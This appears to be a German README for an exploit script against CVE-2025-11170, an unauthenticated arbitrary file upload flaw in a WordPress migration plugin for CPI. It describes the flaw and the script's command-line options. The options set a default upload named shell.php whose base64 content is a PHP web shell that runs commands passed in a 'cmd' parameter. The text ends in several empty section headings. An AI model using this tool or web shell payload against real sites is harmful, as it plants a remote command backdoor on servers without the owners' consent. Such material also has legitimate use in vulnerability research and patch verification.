CVE-2025-11170

WP移行専用プラグイン for CPI <= 1.0.2 - Unaauthentifizierter Upload beliebiger Dateien

🚀 WP移行専用プラグイン for CPI <= 1.0.2 - Unaauthentifizierter Upload beliebiger Dateien

📝 Beschreibung

Das Plugin WP移行専用プラグイン for CPI für WordPress ist anfällig für das Hochladen beliebiger Dateien, da in allen Versionen bis einschließlich 1.0.2 die Dateityp-Validierung in der Funktion Cpiwm_Import_Controller::import fehlt.
Dadurch können nicht authentifizierte Angreifer beliebige Dateien auf den Server der betroffenen Website hochladen, was möglicherweise die Ausführung von Remote-Code ermöglicht.

🛡️ Schwachstellendetails

CVE: CVE-2025-11170
CVSS-Score: 9.8 (Kritisch)
Angriffsvektor: Nicht authentifizierter Remote-Datei-Upload

⚡ Skript-Info

Skriptname: CVE-2025-11170.py

Argument	Beschreibung
`-u`, `--url`	Basis-Ziel-URL (z. B. `http://target.com/wordpress/`). Das Skript hängt `wp-admin/admin-ajax.php` automatisch an.
`-f`, `--filename`	Name der Shell oder Datei, die hochgeladen werden soll. Standard: `shell.php`
`-d`, `--data`	Dateiinhalt in Base64 (oder Rohtext). Standard: `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`
`-i`, `--index`	Wert des Indexfelds. Standard: `0`
`-H`, `--headers`	Zusätzliche HTTP-Header (Format: `X-Key:Value;K2:Value2`)
`-t`, `--timeout`	Timeout für HTTP-Anfrage (Sekunden). Standard: `10`
`--retries`	Anzahl der Wiederholungsversuche. Standard: `3`
`--backoff`	Backoff-Faktor zwischen Wiederholungen (Sekunden). Standard: `0.7`
`-v`, `--verbose`	Erhöht die Ausführlichkeit für Debugging (wiederholbar)

CVE-2025-11170

Beliebteste

🔧 Verwendung

Argumente

🚦 Erläuterte Methoden

💡 Beispielverwendung

🚨 Haftungsausschluss

📢 Kontakt